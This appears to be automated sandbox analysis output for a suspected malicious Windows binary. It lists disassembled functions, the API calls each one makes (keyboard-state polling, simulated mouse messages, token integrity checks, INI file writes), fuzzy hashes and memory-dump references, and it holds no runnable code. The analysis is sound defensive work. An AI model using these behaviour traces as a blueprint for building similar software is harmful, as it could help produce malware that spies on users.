Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 846b56841dc52c5707b182583e961615858612db20b59cf08eb4f8b1d075b01e
Instruction ID: 6797605f36defb1c0b8759dca590c7dd74d6f6115c1c0108d2416b42656184ca
Opcode Fuzzy Hash: 846b56841dc52c5707b182583e961615858612db20b59cf08eb4f8b1d075b01e
Instruction Fuzzy Hash: CA515871228205AFD704EF64D885FAFB7E8BF88344F04896DB595872A1DB70E924CB52

Function 0029E7DC Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 0029E88A
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 0029E8B3
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0029E8F2

Part of subcall function 00239997: __itow.LIBCMT ref: 002399C2
Part of subcall function 00239997: __swprintf.LIBCMT ref: 00239A0C

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 0029E917
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0029E91F

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: b9c739c599462fcd9ad30770603f03308be456a9b6d2339b702001ac2b22f40e
Instruction ID: 18ee45749cd92a2a51269b66234a45de05199e641e4c2ef345c4525ecd1d8f97
Opcode Fuzzy Hash: b9c739c599462fcd9ad30770603f03308be456a9b6d2339b702001ac2b22f40e
Instruction Fuzzy Hash: 7D510875A10215EFCF01EF64C985AAEBBF5EF09310F1480A9E849AB361CB71AD61DF50

Function 002BA2C5 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 061c403c25933daa7b8ae65a6a0111dc5aef671174a565814d2d8d46fea70e2f
Instruction ID: c648b98e1f5a829688c619ebec9572e8b5ab931e1c819b02104e356650fb344f
Opcode Fuzzy Hash: 061c403c25933daa7b8ae65a6a0111dc5aef671174a565814d2d8d46fea70e2f
Instruction Fuzzy Hash: 1B412635920205AFC720DF28DC48FF9BBE8EB09390F1402A5F955A72E1DB70AD61DB51

Function 00232344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00232357
ScreenToClient.USER32(002F67B0,?), ref: 00232374
GetAsyncKeyState.USER32(00000001), ref: 00232399
GetAsyncKeyState.USER32(00000002), ref: 002323A7

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: c2a2b9aab63251fdb897d20ed27ce0690b6dc24e2aa432e8641c09596a51c087
Instruction ID: 789518049a2f1c27b626523aa74774efce4e44c05bb937f32bfca10d47e18134
Opcode Fuzzy Hash: c2a2b9aab63251fdb897d20ed27ce0690b6dc24e2aa432e8641c09596a51c087
Instruction Fuzzy Hash: 8B41B17152411AFBCF15AF68C848AEDBBB4FB05760F20439AFC6892290C77459A4DF91

Function 00286920 Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0028695D
TranslateAcceleratorW.USER32(?,?,?), ref: 002869A9
TranslateMessage.USER32(?), ref: 002869D2
DispatchMessageW.USER32(?), ref: 002869DC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 002869EB

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: d456c840ff174af539d50ff3c373be51a06bb69fb25377bf9a29047bc41e24cb
Instruction ID: 6f0ca3f33f9a2f270d54ec149b74d082635b00b8681ba5ae8214cd0668e65dd3
Opcode Fuzzy Hash: d456c840ff174af539d50ff3c373be51a06bb69fb25377bf9a29047bc41e24cb
Instruction Fuzzy Hash: 8231E535922247AADB64EF74EC4CFB6BBACEB01350F144179E821C31E1E77098A5D790

Function 00288F01 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00288F12
PostMessageW.USER32(?,00000201,00000001), ref: 00288FBC
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00288FC4
PostMessageW.USER32(?,00000202,00000000), ref: 00288FD2
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00288FDA

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 4571805cccc1a49a02b75af04fdb1f00580864618385746c9159440146d26af9
Instruction ID: 79578e1e8f4ad7c5a256f90f9566ec5064e605e7efde934fe36ece425b076262
Opcode Fuzzy Hash: 4571805cccc1a49a02b75af04fdb1f00580864618385746c9159440146d26af9
Instruction Fuzzy Hash: 7C31E07151121AEFDB04DF68DE4CA9E7BB6FB14315F508229FA24EA1D0C7B09920CB90

Function 0028B6AF Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0028B6C7
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0028B6E4
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0028B71C
CharUpperBuffW.USER32(00000000,00000000), ref: 0028B742
_wcsstr.LIBCMT ref: 0028B74C

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: ea52488f722bc436c492e96f207644e0277991fa1f8a6bce3733fcdb6c98f8d3
Instruction ID: 6a388d67077ac6b0febb313060d7fdd085129bc0387eaf923efb303234e68da0
Opcode Fuzzy Hash: ea52488f722bc436c492e96f207644e0277991fa1f8a6bce3733fcdb6c98f8d3
Instruction Fuzzy Hash: 8421F836625205BAEB166F399D49E7BBB9CDF45720F04402DFC05CA1E1EB61DC609750

Function 002897E9 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00289802

Part of subcall function 00237D2C: _memmove.LIBCMT ref: 00237D66

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00289834
__itow.LIBCMT ref: 0028984C
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00289874
__itow.LIBCMT ref: 00289885

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: 594882449dcb6afe82f40d240121950b19a666e8d14d6f7c40ec38fe7bf5e6d1
Instruction ID: 207edba3d39d6684e739a489874e66cddf98d8c254436a30e8bb03c6fec68c13
Opcode Fuzzy Hash: 594882449dcb6afe82f40d240121950b19a666e8d14d6f7c40ec38fe7bf5e6d1
Instruction Fuzzy Hash: 9321FB75B21205ABDF20AB658C8AEFE7BACDF4A710F080025FD04D7281D6709DA58B91

Function 002312F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000), ref: 0023134D
SelectObject.GDI32(?,00000000), ref: 0023135C
BeginPath.GDI32(?), ref: 00231373
SelectObject.GDI32(?,00000000), ref: 0023139C

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: ad7a8d1861153a66880efc3afbd514d911495ab974c4bcd7f47df57ee64bc51b
Instruction ID: 472901250b58a961e9e35fc2daff759536db536240f6b623cf83e467f59aff63
Opcode Fuzzy Hash: ad7a8d1861153a66880efc3afbd514d911495ab974c4bcd7f47df57ee64bc51b
Instruction Fuzzy Hash: E8213EB0824309EBDB119F25ED0C7B97BB8EB043A1F14427AE814961A0D77199B9DF90

Function 0028C161 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0028C176
_memcmp.LIBCMT ref: 0028C194
_memcmp.LIBCMT ref: 0028C1A7
_memcmp.LIBCMT ref: 0028C1BF
_memcmp.LIBCMT ref: 0028C1D7

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: f3fb710be99d6b954d668955c4985147a1762a8d6b11da2745925b47cc3a6793
Instruction ID: 4c6fa31e7951d84bb640fe9d3be4f159199c47e11babbc9e4a6ee64a99a09891
Opcode Fuzzy Hash: f3fb710be99d6b954d668955c4985147a1762a8d6b11da2745925b47cc3a6793
Instruction Fuzzy Hash: 8E0196B56392067BD204B9245CC6F6B635CDB21398B544115FD08962C3EBB0AE3587F4

Function 00294D35 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00294D5C
__beginthreadex.LIBCMT ref: 00294D7A
MessageBoxW.USER32(?,?,?,?), ref: 00294D8F
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00294DA5
CloseHandle.KERNEL32(00000000), ref: 00294DAC

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: ca431782a35a4c6ba384c25d0beca165e9a300134ee607fdb1b7cb32c3efb9b7
Instruction ID: 5960c51c59bffcbc155bec288375f07ad258c3a5c509be3ccf4e3d0fddace24e
Opcode Fuzzy Hash: ca431782a35a4c6ba384c25d0beca165e9a300134ee607fdb1b7cb32c3efb9b7
Instruction Fuzzy Hash: C3110876914245BBCB019FB8AC0CEAA7FACEB45321F144365FD14D3251D6718D5487B0

Function 0028874A Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00288766
GetLastError.KERNEL32(?,0028822A,?,?,?), ref: 00288770
GetProcessHeap.KERNEL32(00000008,?,?,0028822A,?,?,?), ref: 0028877F
RtlAllocateHeap.NTDLL(00000000,?,0028822A), ref: 00288786
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0028879D

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocateErrorLastProcess
String ID:
API String ID: 883493501-0
Opcode ID: db758abe0210aff58cf7b54be85b926b15dd70ad8e046c78236efb78404fbf1d
Instruction ID: b6ad9c488260a17785a47ff4d139b43aba70621925c7777553d1e7f2f51f379a
Opcode Fuzzy Hash: db758abe0210aff58cf7b54be85b926b15dd70ad8e046c78236efb78404fbf1d
Instruction Fuzzy Hash: 93014F79211205EFDB105FA9ED4CD67BBBCEF853957600569F849C2160DA318C20CB60

Function 002954E6 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00295502
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00295510
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00295518
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00295522
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 0029555E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 4ed7aabbbe1aba02ef6062ff22b579406365c0f84a95f574fc757efc2acb5136
Instruction ID: a0fb7735b1e19921d8efe8ee6dd521968d09610531eb2b5be5a83e2eddfd7c4b
Opcode Fuzzy Hash: 4ed7aabbbe1aba02ef6062ff22b579406365c0f84a95f574fc757efc2acb5136
Instruction Fuzzy Hash: 0B015B31E21A29DBCF01EFE8ED4C6EDBB78BB09701F410566E805B2141DB309960C7A1

Function 00287652 Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32 ref: 0028766F
ProgIDFromCLSID.OLE32(?,00000000), ref: 0028768A
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,0028758C,80070057,?,?), ref: 00287698
CoTaskMemFree.OLE32(00000000), ref: 002876A8
CLSIDFromString.OLE32(?,?), ref: 002876B4

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 89f4da341a22f323dea06e7d845e1945c82e3a8bb15a5bf2cb4b8bad06c56924
Instruction ID: 1cf23372a3448d431c2526e303c0b5f1c991259bf2dc5cdb590f5bb5e1fe2632
Opcode Fuzzy Hash: 89f4da341a22f323dea06e7d845e1945c82e3a8bb15a5bf2cb4b8bad06c56924
Instruction Fuzzy Hash: 8A01D476616614BBDB10AF18ED08BAA7BADEB44751F204128FD04D2251F731DD5087A0

Function 002885F1 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00288608
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00288612
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00288621
RtlAllocateHeap.NTDLL(00000000,?,00000002), ref: 00288628
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 0028863E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: HeapInformationToken$AllocateErrorLastProcess
String ID:
API String ID: 47921759-0
Opcode ID: 95f7d70b88cb98db2c15b6ec7b6c01ac3a7b5fc7f04e2535ca7aac56a4bd137f
Instruction ID: 17a477a80fb0c972bf34862cbb839341071ee32e067f6266782a03c748a39ce2
Opcode Fuzzy Hash: 95f7d70b88cb98db2c15b6ec7b6c01ac3a7b5fc7f04e2535ca7aac56a4bd137f
Instruction Fuzzy Hash: 8DF0C274211215BFEB102FA8ED8DE6B3BACEF89754F444525F909C21A0DB709C51DB60

Function 00288652 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00288669
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00288673
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00288682
RtlAllocateHeap.NTDLL(00000000,?,TokenIntegrityLevel), ref: 00288689
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0028869F

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
